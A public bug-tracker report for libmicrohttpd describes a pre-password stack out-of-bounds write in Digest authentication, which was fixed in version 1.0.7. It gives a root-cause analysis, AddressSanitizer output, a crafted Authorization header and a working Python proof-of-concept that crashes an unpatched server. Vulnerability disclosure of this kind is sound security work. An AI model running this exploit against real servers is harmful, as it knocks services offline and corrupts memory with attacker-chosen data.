View Issue Details

IDProjectCategoryView StatusLast Update
0011686libmicrohttpdotherpublic2026-07-28 23:42
Reporteraramosf Assigned ToChristian Grothoff  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionopen 
Product VersionGit master 
Target Version1.0.7Fixed in Version1.0.7 
Summary0011686: digestauth.c: out-of-bounds stack write decoding the Digest "response"
DescriptionSeverity: Medium-High — 32-byte stack out-of-bounds write, content fully
          attacker-chosen; pre-password (only a valid username is required)
Class: CWE-787 (Out-of-bounds Write), CWE-242 (Use of Inherently Dangerous
          Function — a decoding primitive with no output-size argument)
Status: reproduced under AddressSanitizer; on clang -O0/-O1 the write reaches
          the stack canary and the process aborts. Patch supplied and verified
          (unpatched dies under ASan, patched survives).

SUMMARY
-------
MHD_hex_to_bin() takes NO output-size parameter and writes ceil(len/2) bytes
before validating anything. The Digest admission bound for the client's
"response" is sized for a *quoted* value, but an unquoted value is passed
through verbatim. With a client-chosen algorithm=SHA-256, a 128-hex-char
unquoted response= writes 64 bytes into uint8_t hash1_bin[MAX_DIGEST] (32).

digestauth.c:167 already defines MAX_AUTH_RESPONSE_LENGTH (== MAX_DIGEST * 2),
the correct bound — and it is never referenced anywhere in the tree.

ROOT CAUSE
----------
  * bound: digestauth.c:2721
        else if (digest_size * 4 < params->response.value.len)
    This is sized for a quoted value (backslash escaping can double it).
  * call: digestauth.c:2960
        if (digest_size != MHD_hex_to_bin (unquoted.str, unquoted.len,
                                           hash1_bin))
  * buffer: digestauth.c:2557 uint8_t hash1_bin[MAX_DIGEST]; (32)
  * sink: mhd_str.c:1709 MHD_hex_to_bin() has no output-size parameter

gen_auth.c:552 only sets quoted = true when a backslash is actually present, and
get_unquoted_param() returns the raw token otherwise, so the unquoted length is
up to 4x the correct bound. For SHA-256 that is 64 bytes written into 32.

VERIFIED
--------
    ERROR: AddressSanitizer: stack-buffer-overflow
    WRITE of size 1
        #0 MHD_hex_to_bin mhd_str.c:1739
        #1 digest_auth_check_all_inner digestauth.c:2960
      [256, 288) 'hash1_bin' (line 2557) <== overflows this variable
      [320, 352) 'hash2_bin' (line 2558)

Measured behaviour by build:
  * clang -O0 / -O1: the write reaches the stack canary and the process aborts
    with "*** stack smashing detected ***". A single byte of overflow is enough
    — -fstack-protector-strong places the array directly below the canary
    (measured: hexlen=66 -> 33 bytes -> 1 byte over -> abort).
  * gcc (all -O) and clang -O2: the 32 bytes land inside the adjacent hash2_bin
    and there is NO detection — silent undefined behaviour that corrupts H(A2)
    with attacker-chosen data.
  * MinGW / Win64 behaves like Linux gcc.

For severity triage: I did NOT achieve control-flow hijack. The overflow is
fixed at 32 bytes (capped by digest_size * 4), and with the canary disabled the
array is no longer adjacent to the return address (nearest measured distance
248 bytes).

REACHABILITY
------------
The write at :2960 happens AFTER nonce validation, and MHD's nonce is bound to
the algorithm, so the attacker needs a nonce issued for the algorithm claimed:
  * app offering MHD_DIGEST_AUTH_MULT_ALGO3_ANY_NON_SESSION (the shipped
    example) -> challenged with MD5, digest_size * 4 == 64 hex chars -> 32
    bytes into 32, an exact fit, NO overflow;
  * app allowing SHA-256 / SHA-512-256 -> matching nonce is issued and the
    overflow fires.

I.e. the more security-conscious configuration is the exposed one.

Version note: tested against 1.0.6 only.
Steps To ReproduceREPRODUCER
----------
Fetch the 401 challenge, then replay its nonce with an oversized UNQUOTED
response (gen_auth.c only sets quoted = true when a backslash is present):

    Authorization: Digest username="<valid user>", realm="<from challenge>",
      nonce="<from challenge>", uri="/", qop=auth, nc=00000001, cnonce="x",
      algorithm=SHA-256, response=414141…41 (128 hex chars, UNQUOTED)

Requires a username the application accepts and a nonce (free from the 401
challenge), but NOT the password: the write happens at digestauth.c:2960,
BEFORE the response is compared.


#!/usr/bin/env python3
"""libmicrohttpd 1.0.6 - #4 OOB stack write in the Digest response decode.
Needs an accepted username (not the password) and an app allowing SHA-256.
usage: poc4_digest_oob.py <host> <port> [username]"""
import socket, sys, re
h, p = sys.argv[1], int(sys.argv[2])
user = (sys.argv[3] if len(sys.argv) > 3 else "alice").encode()
def talk(b):
    s = socket.create_connection((h, p), 5); s.settimeout(5); s.sendall(b)
    d = b""
    try:
        while True:
            c = s.recv(65536)
            if not c: break
            d += c
    except Exception: pass
    s.close(); return d
c = talk(b"GET /secret HTTP/1.1\r\nHost: v\r\nConnection: close\r\n\r\n")
m = re.search(rb"WWW-Authenticate:\s*Digest\s*(.*)", c, re.I)
if not m: sys.exit("no Digest challenge -- is digest auth enabled?")
q = dict(re.findall(rb'(\w+)\s*=\s*"([^"]*)"', m.group(1)))
print("challenge realm=%r nonce=%r" % (q.get(b"realm"), q.get(b"nonce")))
# response= is left UNQUOTED: gen_auth.c only sets quoted=true on a backslash
r = talk(b"GET /secret HTTP/1.1\r\nHost: v\r\nAuthorization: Digest "
         b'username="' + user + b'", realm="' + q.get(b"realm", b"") +
         b'", nonce="' + q.get(b"nonce", b"") + b'", uri="/secret", '
         b'qop=auth, nc=00000001, cnonce="0123456789abcdef", '
         b"algorithm=SHA-256, response=" + b"41" * 64 +
         b"\r\nConnection: close\r\n\r\n")
print("reply:", r[:80] or b"(closed)")
try:
    socket.create_connection((h, p), 3).close(); print("server: STILL UP")
except Exception: print("server: DOWN")
TagsNo tags attached.

Activities

There are no notes attached to this issue.

Issue History

Date Modified Username Field Change
2026-07-27 12:32 aramosf New Issue
2026-07-27 18:22 Christian Grothoff Assigned To => Christian Grothoff
2026-07-27 18:22 Christian Grothoff Status new => resolved
2026-07-27 18:22 Christian Grothoff Product Version => Git master
2026-07-27 18:22 Christian Grothoff Fixed in Version => 1.0.7
2026-07-27 18:22 Christian Grothoff Target Version => 1.0.7
2026-07-28 23:41 Christian Grothoff View Status private => public
2026-07-28 23:42 Christian Grothoff Status resolved => closed